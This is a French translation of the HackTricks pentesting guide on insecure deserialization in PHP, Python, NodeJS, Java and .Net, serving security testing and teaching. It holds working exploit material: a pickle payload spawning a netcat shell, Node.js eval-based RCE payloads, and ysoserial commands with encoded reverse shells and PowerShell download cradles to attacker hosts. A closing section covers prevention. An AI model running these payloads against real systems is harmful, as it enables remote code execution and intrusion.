hacktricks/pentesting-web/deserialization
2023-12-21 12:42:31 +00:00
..
nodejs-proto-prototype-pollution Translated ['generic-methodologies-and-resources/shells/msfvenom.md', 'p 2023-08-16 09:35:21 +00:00
basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md Translated to French 2023-06-03 13:10:46 +00:00
basic-java-deserialization-objectinputstream-readobject.md Translated to French 2023-06-03 13:10:46 +00:00
exploiting-__viewstate-knowing-the-secret.md Translated to French 2023-06-03 13:10:46 +00:00
exploiting-__viewstate-parameter.md Translated ['README.md', 'backdoors/salseo.md', 'forensics/basic-forensi 2023-12-16 14:33:49 +00:00
java-dns-deserialization-and-gadgetprobe.md Translated to French 2023-06-03 13:10:46 +00:00
java-jsf-viewstate-.faces-deserialization.md Translated to French 2023-06-03 13:10:46 +00:00
java-transformers-to-rutime-exec-payload.md Translated to French 2023-06-03 13:10:46 +00:00
jndi-java-naming-and-directory-interface-and-log4shell.md Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene 2023-09-03 01:33:38 +00:00
php-deserialization-+-autoload-classes.md Translated to French 2023-06-03 13:10:46 +00:00
python-yaml-deserialization.md Translated to French 2023-06-03 13:10:46 +00:00
README.md Translated ['pentesting-web/deserialization/README.md'] to fr 2023-12-21 12:42:31 +00:00

Désérialisation

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

La sérialisation est le processus de transformation d'un objet en un format de données pouvant être restauré ultérieurement. Les gens sérialisent souvent des objets afin de les sauvegarder ou de les envoyer dans le cadre de communications.

La désérialisation est l'inverse de ce processus, elle prend des données structurées dans un certain format et les reconstruit en un objet. Aujourd'hui, le format de données le plus populaire pour la sérialisation des données est JSON. Avant cela, c'était XML.

Dans de nombreuses occasions, vous pouvez trouver du code côté serveur qui désérialise un objet donné par l'utilisateur.
Dans ce cas, vous pouvez envoyer une charge utile malveillante pour que le côté serveur se comporte de manière inattendue.

Vous devriez lire : https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html pour apprendre comment attaquer.

PHP

Méthode magique utilisée avec la sérialisation :

  • __sleep est appelée lorsqu'un objet est sérialisé et doit être renvoyée sous forme de tableau.

Méthode magique utilisée avec la désérialisation :

  • __wakeup est appelée lorsqu'un objet est désérialisé.
  • __unserialize est appelée à la place de __wakeup si elle existe.
  • __destruct est appelée lorsque le script PHP se termine et que l'objet est détruit.
  • __toString utilise l'objet comme une chaîne de caractères, mais peut également être utilisée pour lire un fichier ou plus encore en fonction de l'appel de fonction à l'intérieur.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Si vous regardez les résultats, vous pouvez voir que les fonctions __wakeup et __destruct sont appelées lors de la désérialisation de l'objet. Notez que dans plusieurs tutoriels, vous trouverez que la fonction __toString est appelée lors de la tentative d'affichage d'un attribut, mais apparemment cela ne se produit plus.

{% hint style="warning" %} La méthode __unserialize(array $data) est appelée à la place de __wakeup() si elle est implémentée dans la classe. Elle vous permet de désérialiser l'objet en fournissant les données sérialisées sous forme de tableau. Vous pouvez utiliser cette méthode pour désérialiser les propriétés et effectuer les tâches nécessaires lors de la désérialisation.

phpCopy codeclass MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

{% endhint %}

Vous pouvez lire un exemple PHP expliqué ici : https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, ici https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ou ici https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Vous pouvez exploiter la fonctionnalité d'autoload PHP pour charger des fichiers PHP arbitraires et plus encore :

{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}

Serialization des valeurs référencées

Si, pour une raison quelconque, vous souhaitez sérialiser une valeur en tant que référence à une autre valeur sérialisée, vous pouvez le faire :

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial pour PHP)

PHPGGC peut vous aider à générer des charges utiles pour exploiter les désérialisations PHP.
Notez que dans plusieurs cas, vous ne pourrez pas trouver un moyen d'exploiter une désérialisation dans le code source de l'application, mais vous pourriez être en mesure d'exploiter le code des extensions PHP externes.
Donc, si possible, vérifiez le phpinfo() du serveur et recherchez sur internet (et même dans les gadgets de PHPGGC) des gadgets possibles que vous pourriez exploiter.

Désérialisation des métadonnées phar://

Si vous avez trouvé une LFI qui se contente de lire le fichier et de ne pas exécuter le code PHP à l'intérieur, par exemple en utilisant des fonctions telles que file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize(). Vous pouvez essayer d'exploiter une désérialisation qui se produit lors de la lecture d'un fichier en utilisant le protocole phar.
Pour plus d'informations, lisez l'article suivant:

{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Python

Pickle

Lorsque l'objet est dépicklé, la fonction __reduce__ sera exécutée.
Lorsqu'il est exploité, le serveur peut renvoyer une erreur.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Pour plus d'informations sur l'évasion des prisons de pickle, consultez :

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Yaml & jsonpickle

La page suivante présente la technique pour exploiter une désérialisation non sécurisée dans les bibliothèques Python yamls et se termine par un outil qui peut être utilisé pour générer une charge utile de désérialisation RCE pour Pickle, PyYAML, jsonpickle et ruamel.yaml :

{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}

Pollution de classe (Python Prototype Pollution)

{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}

NodeJS

Fonctions magiques JS

JS n'a pas de fonctions "magiques" comme PHP ou Python qui vont être exécutées simplement pour créer un objet. Mais il a certaines fonctions qui sont fréquemment utilisées même sans les appeler directement telles que toString, valueOf, toJSON.
Si vous abusez d'une désérialisation, vous pouvez compromettre ces fonctions pour exécuter un autre code (potentiellement en exploitant des pollutions de prototype) et vous pourriez exécuter du code arbitraire lorsqu'elles sont appelées.

Une autre manière "magique" d'appeler une fonction sans l'appeler directement est de compromettre un objet retourné par une fonction asynchrone (promesse). Parce que, si vous transformez cet objet de retour en une autre promesse avec une propriété appelée "then" de type fonction, elle sera exécutée simplement parce qu'elle est retournée par une autre promesse. Suivez ce lien pour plus d'informations.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

Pollution de __proto__ et prototype

Si vous souhaitez en savoir plus sur cette technique, consultez le tutoriel suivant:

{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}

node-serialize

Cette bibliothèque permet de sérialiser des fonctions. Exemple:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

L'objet sérialisé ressemblera à ceci :

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Vous pouvez voir dans l'exemple que lorsque une fonction est sérialisée, le drapeau _$$ND_FUNC$$_ est ajouté à l'objet sérialisé.

À l'intérieur du fichier node-serialize/lib/serialize.js, vous pouvez trouver le même drapeau et comment le code l'utilise.

Comme vous pouvez le voir dans le dernier morceau de code, si le drapeau est trouvé, eval est utilisé pour désérialiser la fonction, donc essentiellement l'entrée de l'utilisateur est utilisée à l'intérieur de la fonction eval.

Cependant, simplement sérialiser une fonction ne l'exécutera pas car il serait nécessaire qu'une partie du code appelle y.rce dans notre exemple et cela est très improbable.
Quoi qu'il en soit, vous pourriez simplement modifier l'objet sérialisé en ajoutant des parenthèses afin d'exécuter automatiquement la fonction sérialisée lorsque l'objet est désérialisé.
Dans le prochain morceau de code, remarquez la dernière parenthèse et comment la fonction unserialize exécutera automatiquement le code :

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Comme indiqué précédemment, cette bibliothèque récupérera le code après _$$ND_FUNC$$_ et l'exécutera à l'aide de eval. Par conséquent, pour exécuter automatiquement du code, vous pouvez supprimer la partie de création de la fonction et la dernière parenthèse, puis exécuter une seule ligne de code JS comme dans l'exemple suivant :

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Vous pouvez trouver ici plus d'informations sur la façon d'exploiter cette vulnérabilité.

funcster

La différence intéressante ici est que les objets intégrés standard ne sont pas accessibles, car ils sont hors de portée. Cela signifie que nous pouvons exécuter notre code, mais nous ne pouvons pas appeler les méthodes des objets intégrés. Donc, si nous utilisons console.log() ou require(something), Node renvoie une exception comme "ReferenceError: console is not defined".

Cependant, nous pouvons facilement récupérer l'accès à tout car nous avons toujours accès au contexte global en utilisant quelque chose comme this.constructor.constructor("console.log(1111)")();:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Pour plus d'informations, consultez cette page.

serialize-javascript

Le package ne comprend aucune fonctionnalité de désérialisation et vous oblige à l'implémenter vous-même. Leur exemple utilise directement eval. Voici l'exemple officiel de désérialisation :

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Si cette fonction est utilisée pour désérialiser des objets, vous pouvez facilement l'exploiter :

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Bibliothèque Cryo

Dans les pages suivantes, vous trouverez des informations sur la façon d'exploiter cette bibliothèque pour exécuter des commandes arbitraires :

Java - HTTP

Le principal problème avec les objets désérialisés en Java est que les rappels de désérialisation sont invoqués pendant la désérialisation. Cela permet à un attaquant de profiter de ces rappels et de préparer une charge utile qui exploite les rappels pour effectuer des actions malveillantes.

Empreintes digitales

Boîte blanche

Recherchez dans le code les classes et les fonctions de sérialisation. Par exemple, recherchez les classes implémentant Serializable, l'utilisation de java.io.ObjectInputStream __ ou des fonctions readObject __ ou readUnshare_.

Vous devriez également garder un œil sur :

  • XMLdecoder avec des paramètres utilisateur externes
  • XStream avec la méthode fromXML (la version xstream <= v1.46 est vulnérable à l'issue de sérialisation)
  • ObjectInputStream avec readObject
  • Utilisations de readObject, readObjectNodData, readResolve ou readExternal
  • ObjectInputStream.readUnshared
  • Serializable

Boîte noire

Empreintes digitales/Bytes magiques des objets sérialisés en Java (à partir de ObjectInputStream):

  • AC ED 00 05 en Hexadécimal
  • rO0 en Base64
  • En-tête Content-type d'une réponse HTTP définie sur application/x-java-serialized-object
  • 1F 8B 08 00 Hexadécimal précédemment compressé
  • H4sIA Base64 précédemment compressé
  • Fichiers Web avec l'extension .faces et le paramètre faces.ViewState. Si vous trouvez cela dans une application Web, jetez un coup d'œil à l'article sur la désérialisation Java JSF VewState.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Vérifier si vulnérable

Si vous souhaitez apprendre comment fonctionne une exploitation de désérialisation Java, vous devriez jeter un coup d'œil à Basic Java Deserialization, Java DNS Deserialization et CommonsCollection1 Payload.

Test en boîte blanche

Vous pouvez vérifier s'il y a une application installée avec des vulnérabilités connues.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Vous pouvez essayer de vérifier toutes les bibliothèques connues pour être vulnérables et pour lesquelles Ysoserial peut fournir une exploitation. Ou vous pouvez vérifier les bibliothèques indiquées sur Java-Deserialization-Cheat-Sheet.
Vous pouvez également utiliser gadgetinspector pour rechercher des chaînes de gadgets possibles qui peuvent être exploitées.
Lorsque vous exécutez gadgetinspector (après l'avoir construit), ne vous souciez pas des tonnes d'avertissements/erreurs qu'il traverse et laissez-le terminer. Il écrira toutes les découvertes sous gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Veuillez noter que gadgetinspector ne créera pas une exploitation et il peut indiquer de faux positifs.

Test en boîte noire

En utilisant l'extension Burp gadgetprobe, vous pouvez identifier les bibliothèques disponibles (et même les versions). Avec ces informations, il pourrait être plus facile de choisir une charge utile pour exploiter la vulnérabilité.
Lisez ceci pour en savoir plus sur GadgetProbe.
GadgetProbe est axé sur les désérialisations ** ObjectInputStream **.**

En utilisant l'extension Burp Java Deserialization Scanner, vous pouvez identifier les bibliothèques vulnérables exploitables avec ysoserial et les exploiter.
Lisez ceci pour en savoir plus sur Java Deserialization Scanner.
Java Deserialization Scanner est axé sur les désérialisations ObjectInputStream.

Vous pouvez également utiliser Freddy pour détecter les vulnérabilités de désérialisation dans Burp. Ce plugin détectera non seulement les vulnérabilités liées à ObjectInputStream, mais aussi les vulnérabilités des bibliothèques de désérialisation Json et Yml. En mode actif, il essaiera de les confirmer en utilisant des charges utiles de sommeil ou de DNS.
Vous pouvez trouver plus d'informations sur Freddy ici.

Test de sérialisation

Tout ne consiste pas à vérifier si une bibliothèque vulnérable est utilisée par le serveur. Parfois, vous pourriez être en mesure de modifier les données à l'intérieur de l'objet sérialisé et contourner certaines vérifications (peut-être vous accorder des privilèges d'administrateur dans une application web).
Si vous trouvez un objet sérialisé Java envoyé à une application web, vous pouvez utiliser SerializationDumper pour afficher dans un format plus lisible par l'homme l'objet de sérialisation qui est envoyé. Savoir quelles données vous envoyez faciliterait leur modification et le contournement de certaines vérifications.

Exploitation

ysoserial

L'outil le plus connu pour exploiter les désérialisations Java est ysoserial (téléchargez ici). Vous pouvez également envisager d'utiliser ysoseral-modified qui vous permettra d'utiliser des commandes complexes (avec des pipes par exemple).
Notez que cet outil est axé sur l'exploitation de ObjectInputStream.
Je commencerais par utiliser la charge utile "URLDNS" avant une charge utile RCE pour tester si l'injection est possible. Quoi qu'il en soit, notez que peut-être la charge utile "URLDNS" ne fonctionne pas mais une autre charge utile RCE fonctionne.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Encoder la charge utile en base64
base64 -w0 payload

Lors de la création d'une charge utile pour java.lang.Runtime.exec(), vous ne pouvez pas utiliser de caractères spéciaux tels que ">" ou "|" pour rediriger la sortie d'une exécution, "$()" pour exécuter des commandes ou même transmettre des arguments à une commande séparés par des espaces (vous pouvez faire echo -n "hello world" mais vous ne pouvez pas faire python2 -c 'print "Hello world"'). Pour encoder correctement la charge utile, vous pouvez utiliser cette page web.

N'hésitez pas à utiliser le script suivant pour créer toutes les charges utiles possibles d'exécution de code pour Windows et Linux, puis les tester sur la page web vulnérable :

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Vous pouvez utiliser https://github.com/pwntester/SerialKillerBypassGadgetCollection avec ysoserial pour créer plus d'exploits. Plus d'informations sur cet outil dans les diapositives de la présentation où l'outil a été présenté : https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec peut être utilisé pour générer des charges utiles afin d'exploiter différentes bibliothèques de sérialisation Json et Yml en Java.
Pour compiler le projet, j'ai dû ajouter ces dépendances au fichier pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Installer Maven, et compiler le projet :

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

En savoir plus sur cette bibliothèque JSON Java : https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratoires

Pourquoi

Java ADORE envoyer des objets sérialisés partout. Par exemple :

  • Dans les requêtes HTTP - Paramètres, ViewState, Cookies, vous l'appelez.
  • RMI - Le protocole RMI Java largement utilisé est basé à 100% sur la sérialisation.
  • RMI sur HTTP - De nombreuses applications web Java épaisses utilisent cela - encore une fois, des objets entièrement sérialisés à 100%.
  • JMX - Encore une fois, repose sur des objets sérialisés envoyés par le réseau.
  • Protocoles personnalisés - L'envoi et la réception d'objets Java bruts sont la norme - comme nous le verrons dans certaines des exploitations à venir.

Prévention

Objets transitoires

Une classe qui implémente Serializable peut déclarer comme transient tout objet à l'intérieur de la classe qui ne devrait pas être sérialisé. Par exemple :

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Évitez la sérialisation d'une classe qui doit implémenter Serializable

Certains objets de votre application peuvent être contraints d'implémenter Serializable en raison de leur hiérarchie. Pour garantir que vos objets d'application ne peuvent pas être désérialisés, une méthode readObject() doit être déclarée (avec un modificateur final) qui lance toujours une exception :

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Vérifiez la classe désérialisée avant de la désérialiser

La classe java.io.ObjectInputStream est utilisée pour désérialiser des objets. Il est possible de renforcer son comportement en la sous-classant. C'est la meilleure solution si :

  • Vous pouvez modifier le code qui effectue la désérialisation
  • Vous connaissez les classes que vous souhaitez désérialiser

L'idée générale est de remplacer ObjectInputStream.html#resolveClass() afin de restreindre les classes autorisées à être désérialisées.

Étant donné que cet appel se produit avant l'appel à readObject(), vous pouvez être sûr qu'aucune activité de désérialisation ne se produira à moins que le type ne soit celui que vous souhaitez autoriser.

Un exemple simple est présenté ici, où la classe LookAheadObjectInputStream est garantie de ne désérialiser aucun autre type que la classe Bicycle :

public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Renforcer l'utilisation de java.io.ObjectInputStream avec un Agent

Si vous ne possédez pas le code ou ne pouvez pas attendre un correctif, utiliser un agent pour renforcer java.io.ObjectInputStream est la meilleure solution.
Avec cette approche, vous ne pouvez que mettre sur liste noire les types malveillants connus et non les mettre sur liste blanche car vous ne savez pas quels objets sont en cours de sérialisation.

Pour activer ces agents, ajoutez simplement un nouveau paramètre JVM :

-javaagent:name-of-agent.jar

Exemple: rO0 par Contrast Security

Références

Injection JNDI et log4Shell

Découvrez ce qu'est l'injection JNDI, comment l'exploiter via RMI, CORBA et LDAP et comment exploiter log4shell (avec un exemple de cette vulnérabilité) sur la page suivante :

{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}

JMS - Java Message Service

L'API Java Message Service (JMS) est une API de middleware orientée messages en Java permettant d'envoyer des messages entre deux clients ou plus. Il s'agit d'une implémentation pour résoudre le problème producteur-consommateur. JMS fait partie de la plateforme Java Enterprise Edition (Java EE) et a été défini par une spécification développée par Sun Microsystems, mais qui est depuis guidée par le processus de la communauté Java. Il s'agit d'une norme de messagerie qui permet aux composants d'une application basée sur Java EE de créer, envoyer, recevoir et lire des messages. Elle permet une communication lâchement couplée, fiable et asynchrone entre les différents composants d'une application distribuée. (Source : Wikipedia).

Produits

Plusieurs produits utilisent ce middleware pour envoyer des messages :

Exploitation

En gros, il y a plusieurs services utilisant JMS de manière dangereuse. Par conséquent, si vous avez suffisamment de privilèges pour envoyer des messages à ces services (généralement, vous aurez besoin de justificatifs d'identité valides), vous pourrez envoyer des objets sérialisés malveillants qui seront désérialisés par le consommateur/abonné.
Cela signifie que dans cette exploitation, tous les clients qui vont utiliser ce message seront infectés.

N'oubliez pas que même si un service est vulnérable (parce qu'il désérialise de manière non sécurisée les entrées utilisateur), vous devez toujours trouver des gadgets valides pour exploiter la vulnérabilité.

L'outil JMET a été créé pour se connecter et attaquer ces services en envoyant plusieurs objets sérialisés malveillants utilisant des gadgets connus. Ces exploits fonctionneront si le service est toujours vulnérable et si l'un des gadgets utilisés se trouve dans l'application vulnérable.

Références

.Net

.Net est similaire à Java en ce qui concerne le fonctionnement des exploits de désérialisation : l'exploit va abuser des gadgets qui exécutent un code intéressant lorsque un objet est désérialisé.

Empreinte digitale

WhiteBox

Recherchez les termes suivants dans le code source :

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Recherchez les sérialiseurs où le type est défini par une variable contrôlée par l'utilisateur.

BlackBox

Vous pouvez rechercher la chaîne encodée en Base64 AAEAAAD///// ou toute autre chose qui peut être désérialisée côté serveur et qui vous permet de contrôler le type désérialisé. Par exemple, un JSON ou XML contenant TypeObject ou $type.

ysoserial.net

Dans ce cas, vous pouvez utiliser l'outil ysoserial.net pour créer des exploits de désérialisation. Une fois le référentiel git téléchargé, vous devez compiler l'outil en utilisant Visual Studio, par exemple.

Si vous souhaitez en savoir plus sur comment ysoserial.net crée son exploit, vous pouvez consulter cette page où est expliqué le gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter.

Les principales options de ysoserial.net sont : --gadget, --formatter, **--output ** et --plugin.

  • --gadget utilisé pour indiquer le gadget à exploiter (indiquer la classe/fonction qui sera exploitée lors de la désérialisation pour exécuter des commandes).
  • --formatter, utilisé pour indiquer la méthode de sérialisation de l'exploit (vous devez savoir quelle bibliothèque est utilisée par le back-end pour désérialiser la charge utile et utiliser la même pour la sérialiser)
  • **--output ** utilisé pour indiquer si vous souhaitez l'exploit en format brut ou encodé en Base64. Notez que ysoserial.net va encoder la charge utile en utilisant UTF-16LE (encodage utilisé par défaut sur Windows), donc si vous obtenez le format brut et que vous l'encodez simplement depuis une console Linux, vous pourriez rencontrer des problèmes de compatibilité d'encodage qui empêcheront l'exploit de fonctionner correctement (dans la boîte JSON HTB, la charge utile a fonctionné à la fois en UTF-16LE et en ASCII, mais cela ne signifie pas que cela fonctionnera toujours).
  • **--plugin ** ysoserial.net prend en charge les plugins pour créer des exploits pour des frameworks spécifiques tels que ViewState

Autres paramètres de ysoserial.net

  • --minify fournira une charge utile plus petite (si possible)
